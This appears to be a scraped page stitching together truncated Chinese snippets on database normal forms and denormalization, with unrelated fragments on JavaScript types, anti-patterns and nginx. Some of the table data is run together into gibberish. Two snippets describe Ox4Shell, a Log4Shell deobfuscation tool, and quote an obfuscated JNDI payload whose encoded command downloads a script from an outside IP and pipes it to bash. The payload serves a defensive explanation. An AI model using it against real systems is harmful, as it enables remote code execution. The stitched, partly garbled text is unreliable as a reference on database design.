数据库范式与反范式

一、数据库三大范式 范式英文 Normal Form，缩写 NF，翻译为 规范化形式，简称 范式。 第一范式1NF： 数据表中的每一列(字段)，必须是不可拆分的最小单元，也就是确保每一列的原子性，而不是集合。 反例： 其中 address 可以再分为省、市、地区(县)、街道、详细地址，违反了第一范式。 正例： 根据业务需求合理使用行政区域 第二范式2NF： 满足1NF的基础上，要求：表中的所有列，都必需依赖于主键，而不能有任何一列与主键没有关系（一个表只描述一件事情）。第二范式消除表的无关数据。 数据库五大约束 1、主键约束（Primay Key） 唯一性，非空性 2、唯一约束 （Unique） 唯一性，可以空，但只能有一个 3、检查约束 (Check) 对该列数据的范围、格式的限制（如：年龄、性别等） 4、

何谓“反范式化”？

有，（在一定程度上）改变数据的组织方式，即反范式化（Denormalization） 一.范式化 在讨论反范式化之前，有必要先明确什么是范式化，要反的东西是什么？ 3NF：第三范式（Third normal form）在满足 2NF 的基础上，要求所有非主属性都不传递依赖于任何主键 P.S.此外，还有BCNF、4NF、5NF等等，具体见Normal forms （即反范式化） 四.反范式化 所谓反范式化，是一种针对遵从设计范式的数据库（关系模式）的性能优化策略： Denormalization is a strategy used on a previously-normalized P.S.注意，反范式化不等于非范式化（Unnormalized form），反范式化一定发生在满足范式设计的基础之上。 ，见When and How You Should Denormalize a Relational Database 五.反范式化的代价 但除非必要，一般不建议反范式化，因其代价高昂： 失去了数据完整性保障

反范式化的应用

反范式化（Denormalization）是指将数据库设计中的范式化过程反转，通过增加冗余数据来提高查询性能或者简化查询的过程。在实际应用中，反范式化是一种常见的优化手段，可以显著提升查询性能。 反范式化的应用场景反范式化的应用场景主要涉及两个方面：查询性能优化和简化查询的过程。查询性能优化在范式化的设计中，将数据分解成多个表，减少了数据的冗余性，但同时也带来了查询的性能问题。 简化查询的过程反范式化还可以简化查询的过程。在范式化的设计中，数据被分解成多个表，可能需要进行多次JOIN操作才能获取所需数据。这可能会使查询的过程变得复杂。 反范式化的注意事项反范式化可以提高查询性能，但也需要注意以下几点：数据一致性反范式化会增加冗余数据，如果不同的冗余数据之间存在不一致，就会导致数据不一致性。 存储空间反范式化会增加冗余数据，导致存储空间的占用量增加。在设计时需要权衡查询性能和存储空间的占用量。维护成本反范式化会增加冗余数据，导致数据的维护成本增加。

数据库系列 | MySQL设计三范式和反范式

目前关系型数据库有六种范式，分别为： 第一范式（1NF） 第二范式（2NF） 第三范式（3NF） 第四范式（4NF） 第五范式（5NF） 第六范式（6NF） 要求最低的范式是第一范式。 如下图数据表字段中 id 即为业务主键： Part4第三设计范式 满足第三范式（3NF）必须先满足第二范式（2NF），简而言之，第三范式（3NF）要求一个数据库表中不包含已在其它表中已包含的非主键字段 Part5反范式化设计 没有冗余的数据库未必是最好的数据库，有时为了提高运行效率，提高读性能，就必须降低范式标准，适当保留冗余数据。 降低范式就是增加字段，减少了查询时的关联，提高查询效率，因为在数据库的操作中查询的比例要远远大于 DML 的比例。但是反范式化一定要适度，并且在原本已满足三范式的基础上再做调整的。 ，适当反范式化设计可以提升查询效率和工作效率。

反范式化的应用示例

如果使用范式化的设计，需要进行多次JOIN操作才能获取所需数据，如下所示：SELECT user.name, order.order_id, order.order_time, order_detail.quantity 为了提高查询性能，可以通过反范式化来增加冗余数据，将订单、订单详情和产品的信息合并在一个表中，如下所示：CREATE TABLE order_product ( order_id INT NOT NULL 在实际应用中，反范式化是一种常见的优化手段，可以显著提升查询性能。但同时也需要注意数据一致性、存储空间和维护成本等问题。需要根据具体的应用场景和需求，权衡查询性能和数据的一致性和完整性。

MySQL （4） 第一范式 第二范式 第三范式 BC范式

第一范式 第一范式：所有属性都是不可分割的原子值。 也就是每个属性都是不可再分的。 如果我们要在RDBMS中表现表中的数据，就得设计为下图的形式： ---- 第二范式（2NF） 第二范式：在第一范式的基础上，要求非主属性都要和码有完全依赖关系 所谓完全依赖是指不能存在仅依赖码一部分的属性 （区别于部分依赖） 如果有哪些数据只和码的一部份有关的话，它就不符合第二范式。同时可以得出：如果一个数据表的码只有单一一个字段的话，它就一定符合第二范式(前提是该数据表符合第一范式)。 ——删除异常 （4）假如李小明转系到法律系，那么为了保证数据库中数据的一致性，需要修改三条记录中系与系主任的数据。——修改异常 所以这张表肯定不符合设计规范。我们来通过第二范式修改。 ---- BC范式 BC范式在 3NF 的基础上消除主属性对于码的部分与传递函数依赖。

一篇文章搞懂数据仓库：三范式与反范式

目录 一、第一范式 二、第二范式 三、第三范式 四、反范式化 五、范式化设计和反范式化设计的优缺点 5.1 范式化 （时间换空间） 5.2 反范式化（空间换时间） 六、OLAP和OLTP中范式设计 -- 四、反范式化 一般说来，数据库只需满足第三范式（3NF）就行了。     没有冗余的数据库设计可以做到。 五、范式化设计和反范式化设计的优缺点 5.1 范式化 （时间换空间） 优点： 范式化的表减少了数据冗余，数据表更新操作快、占用存储空间少。 缺点： 查询时需要对多个表进行关联，查询性能降低。  更难进行索引优化 5.2 反范式化（空间换时间） 反范式的过程就是通过冗余数据来提高查询性能，但冗余数据会牺牲数据一致性 优点： 可以减少表关联 可以更好进行索引优化 缺点： 存在大量冗余数据 数据维护成本更高 （删除异常，插入异常，更新异常） 六、OLAP和OLTP中范式设计 OLAP 一般冗余比较多，以查询分析为主，这种一般都是采用反范式设计，以提高查询效率。

数据库范式与反范式设计，是一门艺术

目前关系型数据库一共有 6 种范式，按照范式级别，从低到高分别是：1NF（第一范式）、2NF（第二范式）、3NF（第三范式）、BCNF（巴斯 - 科德范式）、4NF（第四范式）和 5NF（第五范式，又叫做完美范式 但事实上，我们在设计数据表的时候却不一定要一定严格参照这些标准，有时候我们也需要采用反范进行优化，通过空间来换取时间。 既然范式是为了消除冗余，那么反范式就是通过增加冗余、聚合的手段来提升性能。 反范式就是相对范式化而言的，换句话说，就是允许少量的冗余，通过空间来换时间。同时反范式优化也是一种改善慢查询的优化思路。 如：订单表（订单ID，商品ID，用户ID，商品名称） 2.1 反范式设计存在的问题 从上面的例子中可以看出，反范式设计可以通过空间换时间，提升查询的效率，但是反范式也会带来一些新问题。 2.2 反范式设计适用场景 那么反范式优化适用于哪些场景呢？ 在现实工作中，我们经常需要一些冗余信息，比如订单中的收货人信息：用户姓名、手机号码以及收货地址等等。

【一文秒懂】带你彻底搞懂范式与反范式数据库设计

一般我们说到JS的数据类型指的是它的原始(Primitive types)数据类型(共有6种)：

MySQL数据库设计精要：范式化与反范式化的智慧权衡

在支持多语言的应用中，使用utf8mb4字符集可以避免emoji等特殊字符的存储问题，而正确的排序规则（如utf8mb4_unicode_ci）能确保字符串比较和排序的准确性。 第四范式（4NF）和第五范式（5NF）：处理多值依赖和连接依赖 第四范式处理多值依赖的问题，要求表中不能存在非平凡的多值依赖。 4. 需要极低延迟的实时系统 在一些对响应时间要求极为苛刻的系统中，如高频交易、实时竞价（RTB）广告、在线游戏等，即使是微秒级的延迟也可能影响用户体验或业务效果。 反范式化通过减少表连接和简化查询逻辑，可以帮助实现更低的查询延迟。 反范式化的适用条件 尽管反范式化在某些场景下效果显著，但并非所有系统都适合采用这种设计策略。 将反范式化作为最后手段：在考虑反范式化之前，应先尝试其他优化手段，如索引优化、查询重构、引入缓存等。反范式化应作为性能优化的补充方案，而非首选方案。

给女同事讲解MySQL数据库设计范式与反范式，她夸我“技术好”

3.2 解决方案 将不与PK形成依赖关系的字段直接提出单独成表即可： 4 三范式评价 优点 范式化的更新通常比反范式快 当数据较好的范式化后，很少或者没有冗余数据 范式化的数据比较小，放在内存中操作较快 缺点 通常需要进行关联 毕竟阿里规范提到 5 反范式（空间换时间） 反范式的过程就是通过冗余数据来提高查询性能，但冗余数据会牺牲数据一致性 优点 所有的数据都在同一张表中，可以减少表关联 更好进行索引优化 缺点 存在大量冗余数据 数据维护成本更高（删除异常，插入异常，更新异常） 在企业中很好能做到严格意义上的范式成者反范式，一般需混合使用。 在user表 和message表中都存储用户类型(account type)，而不用完全的反范式化。这避免了完全反范式化的插入和删除问题，因为即使没有消息的时候也不会丢失用户信息。 JOIN‘用户表’b ON a用户ID=b.用户ID JOIN `订单商品表` C ON c.订单ID= b.订单ID GROUP BY b.用户名，b.电话b.地址,a.订单ID 1234567 反范式设计

数据库设计的三范式与反范式：优化数据结构，提升数据库性能

要想设计一个结构合理的关系型数据库，必须满足一定的范式。三范式和反范式是空间和时间的关系。三范式是为了降低空间；反范式是通过增加空间来提升运行效率。二、三范式（1）目的：减少空间占用。 fly2molic202milo0voice2137999999993ipadfly3selia301vico0voice113766666666客户编号客户名称所属公司联系方式1vico0voice1137666666662milo0voice213799999999三、反范式反范式是经常使用的设计 比如用户表采用的就是反范式，因为如果用户表不采用反范式设计，将会产生很多的关联关系表，这就会涉及到联表查询，非常影响效率，特别对登录来说，是不可容忍的。因此，反范式允许冗余存储，为了提升查询效率。 四、总结范式二中，对于联合索引，主键不能依赖一部分，而要依赖整体；出现重复的要拆分。反范式是经常使用的设计。三范式可以避免数据冗余，减少数据库的空间，减小维护数据完整性的麻烦。 但是采用数据库范式化设计，可能导致数据库业务涉及的表变多，并且造成更多的联表查询，将导致整个系统的性能降低。因此出于性能考虑，可能需要进行反范式设计。

关系建模的底层逻辑——范式与反范式的收益成本对照，主键与外键的实践取舍

这些目标之间的内在张力正是范式与反范式设计抉择的根源。过度规范化可能导致查询性能低下，而过度反规范化则可能引发数据不一致问题。 3 反范式化设计策略3.1 反范式化的合理场景反范式化是有意引入冗余或放宽范式约束以提升查询性能的设计方法。其核心本质是以空间换时间，通过存储冗余数据减少查询时的表连接操作。 读多写少场景是反范式化的典型应用场景。当系统读取频率远高于写入频率时，反范式化可以显著提升查询性能。报表和分析系统通常需要复杂聚合查询，反范式化可以通过预计算和冗余存储优化这类查询。 4 主键设计哲学4.1 主键的核心特性主键是关系数据库中唯一标识表中每条记录的字段或字段组合，必须具备以下特性：唯一性保证每条记录有唯一标识；非空性确保主键值不为NULL；稳定性避免频繁变更主键值；简洁性尽量使用简单键值 6 范式与反范式的权衡框架6.1 决策多维模型范式与反范式的选择不是非此即彼的二元决策，而是需要综合考量多个因素的权衡过程。

2019-4-27-反模式之the blob

设计模式大家都非常了解，不过反模式大概很少人听过。 没错，反模式顾名思义就是把大家平时在编程，代码设计，项目管理中遇到的各种典型错误归类， 总结出的“高考0分作文” The Blob 介绍 the blob 来源于美国电影幽浮魔点 - 维基百科，自由的百科全书 幽浮魔点 - 维基百科，自由的百科全书 ---- 本文会经常更新，请阅读原文： https://xinyuehtx.github.io/post/%E5%8F%8D%E6%A8%A1%E5%BC%8F%E4%

【nginx】反代knife4j接口文档

Ox4Shell工具-轻松反混淆 Log4Shell 有效负载

描述 自 Log4Shell 漏洞 (CVE-2021-44228) 发布以来，创建了许多工具来混淆 Log4Shell 有效负载，使安全工程师的生活成为一场噩梦。 例如，考虑以下混淆的有效负载： ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA 用法 要简单地运行该工具： ~/Ox4Shell » python ox4shell.py --help usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth 的模拟功能对以下有效负载进行反混淆： ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}. 工具下载：https://github.com/ox-eye/Ox4Shell#ox4shell

如何使用Ox4Shell反混淆Log4Shell的Payload

 关于Ox4Shell  Ox4Shell是一款针对Log4Shell Payload代码反混淆工具，自从Log4Shell漏洞（CVE-2021-44228）被发现之后，很多工具都开始尝试对Log4Shell 比如说下列经过混淆处理的Payload： ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA on -p PAYLOAD, --payload PAYLOAD 待反混淆的单个 (默认: None) -f FILE, --file FILE 包含待反混淆的Payload文件路径 (默认: None) （向右滑动、查看更多）  模拟数据  Log4j代码库有几个独特的查询函数，允许用户查找环境变量和Java进程的运行时信息等。 的模拟数据能力来对下列Payload进行反混淆处理： ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.

第一范式、第二范式、第三范式、BC范式

4) 外键：如果模式R中属性K是其他模式的主键，那么K在模式R中称为外键。 =宿舍，所以符合传递函数的要求； 1NF 一言以蔽之：“第一范式的数据表必须是二维数据表”，第一范式是指数据库的每一列都是不可分割的基本数据项，强调列的原子性，试题中某一属性不能拥有几个值。 2NF 第二范式建立在第一范式的基础上，即满足第二范式一定满足第一范式，第二范式要求数据表每一个实例或者行必须被唯一标识。 3NF 若某一范式是第二范式，且每一个非主属性都不传递依赖于该范式的候选键，则称为第三范式，即不能存在：非主键列 A 依赖于非主键列 B，非主键列 B 依赖于主键的情况。 BCNF 在第三范式的基础上，数据库表中如果不存在任何字段对任一候选关键字段的传递函数依赖则符合第三范式。

将优化考虑在最前面-MySQL数据库设计优化：范式与反范式，主键，字符集，存储引擎

关于数据库的设计，我来从范式、反范式、主键、字符集、存储引擎等方面总结一下。 合理使用范式与反范式 什么是范式？反范式？ 可以再拆（加）一个表： dept_namedept_leader蜀汉刘备曹魏曹操 这样就符合第三范式了。 反范式 顾名思义，不遵照范式规则，就是反范式。 没有冗余的数据库未必是最好的数据库，有时为了提高运行效率，就必须降低范式标准，适当保留冗余数据。所以就有了反范式。 范式的优缺点 优点 范式化的更新操作通常比反范式要快 当数据较好的范式化后，很少或者没有重复的数据 范式化的数据比较小，可以放在内存中，操作比较快 缺点 通常需要进行关联join 反范式的优缺点 优点 在user表和message表中都存储用户类型(account_type)而不用完全的反范式化。这避免了完全反范式化的插入和删除问题，因为即使没有消息的时候也绝不会丢失用户的信息。

第一范式，第二范式，第三范式，BCNF范式理解

第一范式、第二范式、第三范式 参考了https://www.zhihu.com/question/24696366 https://www.cnblogs.com/lca1826/p/6601395 第一范式 第一范式列不能再分。 第二范式 第二范式建立在第一范式的基础上，非主属性完全依赖于码。 简单说：消除部分依赖。 （什么是码？） 要是上面那张表符合第二范式。需要将表拆分为两张表。 =宿舍，所以符合传递函数的要求 第三范式 满足第二范式的条件下不存在传递函数依赖。 要满足第三范式，在分成两张表的时候第二张表还是有问题? 学号->系名，系名->系主任 传递依赖。 总结： 第一范式：简单说 列不能再分 第二范式：简单说 建立在第一范式基础上，消除部分依赖 第三范式：简单说 建立在第二范式基础上，消除传递依赖。